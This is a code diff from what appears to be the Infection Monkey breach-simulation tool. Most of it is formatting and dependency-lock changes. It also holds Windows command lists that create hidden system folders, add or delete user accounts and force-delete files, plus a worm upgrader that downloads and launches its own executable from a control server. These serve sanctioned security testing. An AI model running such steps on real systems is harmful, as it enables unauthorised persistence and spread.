'mkdir', + "mkdir", HIDDEN_FOLDER, # make directory - '&&', - 'attrib', - '+h', # hidden attribute - '+s', # system attribute + "&&", + "attrib", + "+h", # hidden attribute + "+s", # system attribute HIDDEN_FOLDER, # change file attributes - '&&', - 'echo', - 'Successfully created hidden folder: {}'.format(HIDDEN_FOLDER), - '>', - '{}\\{}'.format(HIDDEN_FOLDER, 'some-file'), - '&&', - 'type', - '{}\\{}'.format(HIDDEN_FOLDER, 'some-file') + "&&", + "echo", + "Successfully created hidden folder: {}".format(HIDDEN_FOLDER), + ">", + "{}\\{}".format(HIDDEN_FOLDER, "some-file"), + "&&", + "type", + "{}\\{}".format(HIDDEN_FOLDER, "some-file"), ] def get_winAPI_to_hide_files(): import win32file + try: fileAccess = win32file.GENERIC_READ | win32file.GENERIC_WRITE # read-write access fileCreation = win32file.CREATE_ALWAYS # overwrite existing file fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden - win32file.CreateFile(HIDDEN_FILE_WINAPI, - fileAccess, - 0, # sharing mode: 0 => can't be shared - None, # security attributes - fileCreation, - fileFlags, - 0) # template file + win32file.CreateFile( + HIDDEN_FILE_WINAPI, + fileAccess, + 0, # sharing mode: 0 => can't be shared + None, # security attributes + fileCreation, + fileFlags, + 0, + ) # template file return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True except Exception as err: @@ -66,15 +69,15 @@ def get_winAPI_to_hide_files(): def get_windows_commands_to_delete(): return [ - 'powershell.exe', - 'del', # delete file - '-Force', + "powershell.exe", + "del", # delete file + "-Force", HIDDEN_FILE, - ',', + ",", HIDDEN_FILE_WINAPI, - ';', - 'rmdir', # delete folder - '-Force', - '-Recurse', - HIDDEN_FOLDER + ";", + "rmdir", # delete folder + "-Force", + "-Recurse", + HIDDEN_FOLDER, ] diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index c16b1c190..6890dc170 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -4,38 +4,25 @@ import subprocess from infection_monkey.utils.auto_new_user import AutoNewUser from infection_monkey.utils.new_user_error import NewUserError -ACTIVE_NO_NET_USER = '/ACTIVE:NO' +ACTIVE_NO_NET_USER = "/ACTIVE:NO" WAIT_TIMEOUT_IN_MILLISECONDS = 60 * 1000 logger = logging.getLogger(__name__) def get_windows_commands_to_add_user(username, password, should_be_active=False): - windows_cmds = [ - 'net', - 'user', - username, - password, - '/add'] + windows_cmds = ["net", "user", username, password, "/add"] if not should_be_active: windows_cmds.append(ACTIVE_NO_NET_USER) return windows_cmds def get_windows_commands_to_delete_user(username): - return [ - 'net', - 'user', - username, - '/delete'] + return ["net", "user", username, "/delete"] def get_windows_commands_to_deactivate_user(username): - return [ - 'net', - 'user', - username, - ACTIVE_NO_NET_USER] + return ["net", "user", username, ACTIVE_NO_NET_USER] class AutoNewWindowsUser(AutoNewUser): @@ -52,7 +39,7 @@ class AutoNewWindowsUser(AutoNewUser): windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True) logger.debug("Trying to add {} with commands {}".format(self.username, str(windows_cmds))) - _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) + _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT) def __enter__(self): # Importing these only on windows, as they won't exist on linux. @@ -60,13 +47,16 @@ class AutoNewWindowsUser(AutoNewUser): import win32security try: - # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf + # -winbase-logonusera self.logon_handle = win32security.LogonUser( self.username, ".", # Use current domain. self.password, - win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user), since we're using a shell. - win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers. + # Logon type - interactive (normal user), since we're using a shell. + win32con.LOGON32_LOGON_INTERACTIVE, + win32con.LOGON32_PROVIDER_DEFAULT, + ) # Which logon provider to use - whatever Windows offers. except Exception as err: raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err))) return self @@ -86,22 +76,24 @@ class AutoNewWindowsUser(AutoNewUser): # Open process as that user # https://github.com/tjguk/winsys/blob/master/winsys/_advapi32.py proc_info = _advapi32.CreateProcessWithLogonW( - username=self.username, - domain=".", - password=self.password, - command_line=command + username=self.username, domain=".", password=self.password, command_line=command ) process_handle = proc_info.hProcess thread_handle = proc_info.hThread logger.debug( - "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS)) + "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS) + ) - # https://social.msdn.microsoft.com/Forums/vstudio/en-US/b6d6a7ae-71e9-4edb-ac8f-408d2a41750d/what-events-on-a-process-handle-signal-satisify-waitforsingleobject?forum=vcgeneral - # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later. - _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out. + # https://social.msdn.microsoft.com/Forums/vstudio/en-US/b6d6a7ae-71e9-4edb-ac8f + # -408d2a41750d/what-events-on-a-process-handle-signal-satisify-waitforsingleobject + # ?forum=vcgeneral + # Ignoring return code, as we'll use `GetExitCode` to determine the state of the + # process later. + _ = win32event.WaitForSingleObject( + # Waits until the specified object is signaled, or time-out. process_handle, # Ping process handle - WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds + WAIT_TIMEOUT_IN_MILLISECONDS, # Timeout in milliseconds ) exit_code = win32process.GetExitCodeProcess(process_handle) @@ -116,10 +108,7 @@ class AutoNewWindowsUser(AutoNewUser): return exit_code - def get_logon_handle(self): - return self.logon_handle - - def __exit__(self, exc_type, exc_val, exc_tb): + def __exit__(self, _exc_type, value, traceback): # Logoff self.logon_handle.Close() @@ -131,9 +120,11 @@ class AutoNewWindowsUser(AutoNewUser): try: commands_to_deactivate_user = get_windows_commands_to_deactivate_user(self.username) logger.debug( - "Trying to deactivate {} with commands {}".format(self.username, str(commands_to_deactivate_user))) - _ = subprocess.check_output( - commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True) + "Trying to deactivate {} with commands {}".format( + self.username, str(commands_to_deactivate_user) + ) + ) + _ = subprocess.check_output(commands_to_deactivate_user, stderr=subprocess.STDOUT) except Exception as err: raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err)) @@ -141,8 +132,10 @@ class AutoNewWindowsUser(AutoNewUser): try: commands_to_delete_user = get_windows_commands_to_delete_user(self.username) logger.debug( - "Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user))) - _ = subprocess.check_output( - commands_to_delete_user, stderr=subprocess.STDOUT, shell=True) + "Trying to delete {} with commands {}".format( + self.username, str(commands_to_delete_user) + ) + ) + _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 8b9ec7f80..90eacac9c 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -7,12 +7,12 @@ import time import infection_monkey.monkeyfs as monkeyfs from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly -from infection_monkey.model import MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils.commands import ( + build_monkey_commandline_explicitly, + get_monkey_commandline_windows, +) from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os -__author__ = 'itay.mizeretz' - LOG = logging.getLogger(__name__) if "win32" == sys.platform: @@ -26,31 +26,43 @@ class WindowsUpgrader(object): @staticmethod def should_upgrade(): - return is_windows_os() and is_64bit_windows_os() \ - and not is_64bit_python() + return is_windows_os() and is_64bit_windows_os() and not is_64bit_python() @staticmethod def upgrade(opts): try: monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: - with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: + with open( + WormConfiguration.dropper_target_path_win_64, "wb" + ) as written_monkey_file: shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) except (IOError, AttributeError) as e: LOG.error("Failed to download the Monkey to the target path: %s." % e) return - monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) + monkey_options = build_monkey_commandline_explicitly( + opts.parent, opts.tunnel, opts.server, opts.depth + ) - monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { - 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options + monkey_cmdline = get_monkey_commandline_windows( + WormConfiguration.dropper_target_path_win_64, monkey_options + ) - monkey_process = subprocess.Popen(monkey_cmdline, shell=True, - stdin=None, stdout=None, stderr=None, - close_fds=True, creationflags=DETACHED_PROCESS) + monkey_process = subprocess.Popen( + monkey_cmdline, + stdin=None, + stdout=None, + stderr=None, + close_fds=True, + creationflags=DETACHED_PROCESS, + ) - LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", - monkey_process.pid, monkey_cmdline) + LOG.info( + "Executed 64bit monkey process (PID=%d) with command line: %s", + monkey_process.pid, + " ".join(monkey_cmdline), + ) time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) if monkey_process.poll() is not None: diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index cd452066c..d1510c46f 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,21 +1,4 @@ -from gevent import monkey as gevent_monkey - -gevent_monkey.patch_all() - -from monkey_island.cc.main import main - - -def parse_cli_args(): - import argparse - parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com") - parser.add_argument("-s", "--setup-only", action="store_true", - help="Pass this flag to cause the Island to setup and exit without actually starting. " - "This is useful for preparing Island to boot faster later-on, so for " - "compiling/packaging Islands.") - args = parser.parse_args() - return args.setup_only - +from monkey_island.main import main if "__main__" == __name__: - is_setup_only = parse_cli_args() - main(is_setup_only) + main() diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile new file mode 100644 index 000000000..418849eb3 --- /dev/null +++ b/monkey/monkey_island/Pipfile @@ -0,0 +1,49 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +pyinstaller = "==3.6" +awscli = "==1.18.131" +bcrypt = "==3.2.0" +boto3 = "==1.14.54" +botocore = "==1.17.54" +cffi = ">=1.8,!=1.11.3" +dpath = ">=2.0" +gevent = ">=20.9.0" +ipaddress = ">=1.0.23" +jsonschema = "==3.2.0" +mongoengine = "==0.20" +netifaces = ">=0.10.9" +pycryptodome = "==3.9.8" +python-dateutil = "<3.0.0,>=2.1" +requests = ">=2.24" +ring = ">=0.7.3" +stix2 = ">=2.0.2" +six = ">=1.13.0" +tqdm = ">=4.47" +Flask-JWT-Extended = "==3.24.1" +Flask-PyMongo = ">=2.3.0" +Flask-RESTful = ">=0.3.8" +Flask = ">=1.1" +Werkzeug = ">=1.0.1" +ScoutSuite = {git = "https://github.com/guardicode/ScoutSuite"} +PyJWT = "==1.7" +pyaescrypt = "*" + +[dev-packages] +virtualenv = ">=20.0.26" +mongomock = "==3.23.0" +pytest = ">=5.4" +requests-mock = "==1.8.0" +black = "==20.8b1" +dlint = "==0.11.0" +flake8 = "==3.9.0" +pytest-cov = "*" +isort = "==5.8.0" +coverage = "*" +vulture = "==2.3" + +[requires] +python_version = "3.7" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock new file mode 100644 index 000000000..e62fd0c56 --- /dev/null +++ b/monkey/monkey_island/Pipfile.lock @@ -0,0 +1,1512 @@ +{ + "_meta": { + "hash": { + "sha256": "7157e13d928bde23582b6289405713962f3334bd32ac80b22202b605ed4dcefb" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.7" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "altgraph": { + "hashes": [ + "sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa", + "sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe" + ], + "version": "==0.17" + }, + "aniso8601": { + "hashes": [ + "sha256:1d2b7ef82963909e93c4f24ce48d4de9e66009a21bf1c1e1c85bdd0812fe412f", + "sha256:72e3117667eedf66951bb2d93f4296a56b94b078a8a95905a052611fb3f1b973" + ], + "version": "==9.0.1" + }, + "antlr4-python3-runtime": { + "hashes": [ + "sha256:15793f5d0512a372b4e7d2284058ad32ce7dd27126b105fb0b2245130445db33" + ], + "markers": "python_version >= '3'", + "version": "==4.8" + }, + "asyncio-throttle": { + "hashes": [ + "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" + ], + "markers": "python_version >= '3.5'", + "version": "==0.1.1" + }, + "attrs": { + "hashes": [ + "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", + "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==21.2.0" + }, + "awscli": { + "hashes": [ + "sha256:5dfdae33fc7c7b24c4beeaf8db7ca5ddec903d8b249578d1d0d4bd86c128d53d", + "sha256:a74b11681990a8572ba221af39aed887e6c84d4233dca3dcea134f28fd243e0b" + ], + "index": "pypi", + "version": "==1.18.131" + }, + "bcrypt": { + "hashes": [ + "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", + "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", + "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", + "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", + "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", + "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", + "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" + ], + "index": "pypi", + "version": "==3.2.0" + }, + "boto3": { + "hashes": [ + "sha256:4196b418598851ffd10cf9d1606694673cbfeca4ddf8b25d4e50addbd2fc60bf", + "sha256:69ad8f2184979e223e12ee3071674fdf910983cf9f4d6f34f7ec407b089064b5" + ], + "index": "pypi", + "version": "==1.14.54" + }, + "botocore": { + "hashes": [ + "sha256:6fe05837646447d61acdaf1e3401b92cd9309f00b19c577a50d0ade7735a3403", + "sha256:9e493a21e6a8d45c631eb2952ae8e1d0a31b9984546d4268ea10c0c33e2435ce" + ], + "index": "pypi", + "version": "==1.17.54" + }, + "certifi": { + "hashes": [ + "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee", + "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8" + ], + "version": "==2021.5.30" + }, + "cffi": { + "hashes": [ + "sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d", + "sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771", + "sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872", + "sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c", + "sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc", + "sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762", + "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202", + "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5", + "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548", + "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f", + "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20", + "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c", + "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e", + "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56", + "sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224", + "sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a", + "sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2", + "sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a", + "sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819", + "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346", + "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b", + "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e", + "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb", + "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0", + "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156", + "sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd", + "sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87", + "sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc", + "sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195", + "sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33", + "sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f", + "sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d", + "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd", + "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728", + "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7", + "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99", + "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf", + "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e", + "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c", + "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69" + ], + "index": "pypi", + "version": "==1.14.6" + }, + "chardet": { + "hashes": [ + "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", + "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==4.0.0" + }, + "cheroot": { + "hashes": [ + "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", + "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==8.5.2" + }, + "cherrypy": { + "hashes": [ + "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", + "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" + ], + "markers": "python_version >= '3.5'", + "version": "==18.6.1" + }, + "cherrypy-cors": { + "hashes": [ + "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", + "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" + ], + "markers": "python_version >= '2.7'", + "version": "==1.6" + }, + "click": { + "hashes": [ + "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a", + "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6" + ], + "markers": "python_version >= '3.6'", + "version": "==8.0.1" + }, + "colorama": { + "hashes": [ + "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", + "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" + ], + "markers": "python_version != '3.4' and platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", + "version": "==0.4.3" + }, + "coloredlogs": { + "hashes": [ + "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", + "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" + ], + "version": "==10.0" + }, + "cryptography": { + "hashes": [ + "sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d", + "sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959", + "sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6", + "sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873", + "sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2", + "sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713", + "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1", + "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177", + "sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250", + "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca", + "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d", + "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9" + ], + "markers": "python_version >= '3.6'", + "version": "==3.4.7" + }, + "docutils": { + "hashes": [ + "sha256:6c4f696463b79f1fb8ba0c594b63840ebd41f059e92b31957c46b74a4599b6d0", + "sha256:9e4d7ecfc600058e07ba661411a2b7de2fd0fafa17d1a7f7361cd47b1175c827", + "sha256:a2aeea129088da402665e92e0b25b04b073c04b2dce4ab65caaa38b7ce2e1a99" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.15.2" + }, + "dpath": { + "hashes": [ + "sha256:bea06b5f4ff620a28dfc9848cf4d6b2bfeed34238edeb8ebe815c433b54eb1fa" + ], + "index": "pypi", + "version": "==2.0.1" + }, + "flask": { + "hashes": [ + "sha256:1c4c257b1892aec1398784c63791cbaa43062f1f7aeb555c4da961b20ee68f55", + "sha256:a6209ca15eb63fc9385f38e452704113d679511d9574d09b2cf9183ae7d20dc9" + ], + "index": "pypi", + "version": "==2.0.1" + }, + "flask-jwt-extended": { + "hashes": [ + "sha256:0aa8ee6fa7eb3be9314e39dd199ac8e19389a95371f9d54e155c7aa635e319dd" + ], + "index": "pypi", + "version": "==3.24.1" + }, + "flask-pymongo": { + "hashes": [ + "sha256:620eb02dc8808a5fcb90f26cab6cba9d6bf497b15032ae3ca99df80366e33314", + "sha256:8a9577a2c6d00b49f21cb5a5a8d72561730364a2d745551a85349ab02f86fc73" + ], + "index": "pypi", + "version": "==2.3.0" + }, + "flask-restful": { + "hashes": [ + "sha256:4970c49b6488e46c520b325f54833374dc2b98e211f1b272bd4b0c516232afe2", + "sha256:ccec650b835d48192138c85329ae03735e6ced58e9b2d9c2146d6c84c06fa53e" + ], + "index": "pypi", + "version": "==0.3.9" + }, + "future": { + "hashes": [ + "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.18.2" + }, + "gevent": { + "hashes": [ + "sha256:16574e4aa902ebc7bad564e25aa9740a82620fdeb61e0bbf5cbc32e84c13cb6a", + "sha256:188c3c6da67e17ffa28f960fc80f8b7e4ba0f4efdc7519822c9d3a1784ca78ea", + "sha256:1e5af63e452cc1758924528a2ba6d3e472f5338e1534b7233cd01d3429fc1082", + "sha256:242e32cc011ad7127525ca9181aef3379ce4ad9c733aefe311ecf90248ad9a6f", + "sha256:2a9ae0a0fd956cbbc9c326b8f290dcad2b58acfb2e2732855fe1155fb110a04d", + "sha256:33741e3cd51b90483b14f73b6a3b32b779acf965aeb91d22770c0c8e0c937b73", + "sha256:3694f393ab08372bd337b9bc8eebef3ccab3c1623ef94536762a1eee68821449", + "sha256:464ec84001ba5108a9022aded4c5e69ea4d13ef11a2386d3ec37c1d08f3074c9", + "sha256:520cc2a029a9eef436e4e56b007af7859315cafa21937d43c1d5269f12f2c981", + "sha256:77b65a68c83e1c680f52dc39d5e5406763dd10a18ce08420665504b6f047962e", + "sha256:7bdfee07be5eee4f687bf90c54c2a65c909bcf2b6c4878faee51218ffa5d5d3e", + "sha256:969743debf89d6409423aaeae978437cc042247f91f5801e946a07a0a3b59148", + "sha256:96f704561a9dd9a817c67f2e279e23bfad6166cf95d63d35c501317e17f68bcf", + "sha256:9f99c3ec61daed54dc074fbcf1a86bcf795b9dfac2f6d4cdae6dfdb8a9125692", + "sha256:a130a1885603eabd8cea11b3e1c3c7333d4341b537eca7f0c4794cb5c7120db1", + "sha256:a54b9c7516c211045d7897a73a4ccdc116b3720c9ad3c591ef9592b735202a3b", + "sha256:ac98570649d9c276e39501a1d1cbf6c652b78f57a0eb1445c5ff25ff80336b63", + "sha256:afaeda9a7e8e93d0d86bf1d65affe912366294913fe43f0d107145dc32cd9545", + "sha256:b6ffc1131e017aafa70d7ec19cc24010b19daa2f11d5dc2dc191a79c3c9ea147", + "sha256:ba0c6ad94614e9af4240affbe1b4839c54da5a0a7e60806c6f7f69c1a7f5426e", + "sha256:bdb3677e77ab4ebf20c4752ac49f3b1e47445678dd69f82f9905362c68196456", + "sha256:c2c4326bb507754ef354635c05f560a217c171d80f26ca65bea81aa59b1ac179", + "sha256:cfb2878c2ecf27baea436bb9c4d8ab8c2fa7763c3916386d5602992b6a056ff3", + "sha256:e370e0a861db6f63c75e74b6ee56a40f5cdac90212ec404621445afa12bfc94b", + "sha256:e8a5d9fcf5d031f2e4c499f5f4b53262face416e22e8769078354f641255a663", + "sha256:ecff28416c99e0f73137f35849c3027cc3edde9dc13b7707825ebbf728623928", + "sha256:f0498df97a303da77e180a9368c9228b0fc94d10dd2ce79fc5ebb63fec0d2fc9", + "sha256:f91fd07b9cf642f24e58ed381e19ec33e28b8eee8726c19b026ea24fcc9ff897" + ], + "index": "pypi", + "version": "==21.1.2" + }, + "greenlet": { + "hashes": [ + "sha256:03f28a5ea20201e70ab70518d151116ce939b412961c33827519ce620957d44c", + "sha256:06d7ac89e6094a0a8f8dc46aa61898e9e1aec79b0f8b47b2400dd51a44dbc832", + "sha256:06ecb43b04480e6bafc45cb1b4b67c785e183ce12c079473359e04a709333b08", + "sha256:096cb0217d1505826ba3d723e8981096f2622cde1eb91af9ed89a17c10aa1f3e", + "sha256:0c557c809eeee215b87e8a7cbfb2d783fb5598a78342c29ade561440abae7d22", + "sha256:0de64d419b1cb1bfd4ea544bedea4b535ef3ae1e150b0f2609da14bbf48a4a5f", + "sha256:14927b15c953f8f2d2a8dffa224aa78d7759ef95284d4c39e1745cf36e8cdd2c", + "sha256:16183fa53bc1a037c38d75fdc59d6208181fa28024a12a7f64bb0884434c91ea", + "sha256:206295d270f702bc27dbdbd7651e8ebe42d319139e0d90217b2074309a200da8", + "sha256:22002259e5b7828b05600a762579fa2f8b33373ad95a0ee57b4d6109d0e589ad", + "sha256:2325123ff3a8ecc10ca76f062445efef13b6cf5a23389e2df3c02a4a527b89bc", + "sha256:258f9612aba0d06785143ee1cbf2d7361801c95489c0bd10c69d163ec5254a16", + "sha256:3096286a6072553b5dbd5efbefc22297e9d06a05ac14ba017233fedaed7584a8", + "sha256:3d13da093d44dee7535b91049e44dd2b5540c2a0e15df168404d3dd2626e0ec5", + "sha256:408071b64e52192869129a205e5b463abda36eff0cebb19d6e63369440e4dc99", + "sha256:598bcfd841e0b1d88e32e6a5ea48348a2c726461b05ff057c1b8692be9443c6e", + "sha256:5d928e2e3c3906e0a29b43dc26d9b3d6e36921eee276786c4e7ad9ff5665c78a", + "sha256:5f75e7f237428755d00e7460239a2482fa7e3970db56c8935bd60da3f0733e56", + "sha256:60848099b76467ef09b62b0f4512e7e6f0a2c977357a036de602b653667f5f4c", + "sha256:6b1d08f2e7f2048d77343279c4d4faa7aef168b3e36039cba1917fffb781a8ed", + "sha256:70bd1bb271e9429e2793902dfd194b653221904a07cbf207c3139e2672d17959", + "sha256:76ed710b4e953fc31c663b079d317c18f40235ba2e3d55f70ff80794f7b57922", + "sha256:7920e3eccd26b7f4c661b746002f5ec5f0928076bd738d38d894bb359ce51927", + 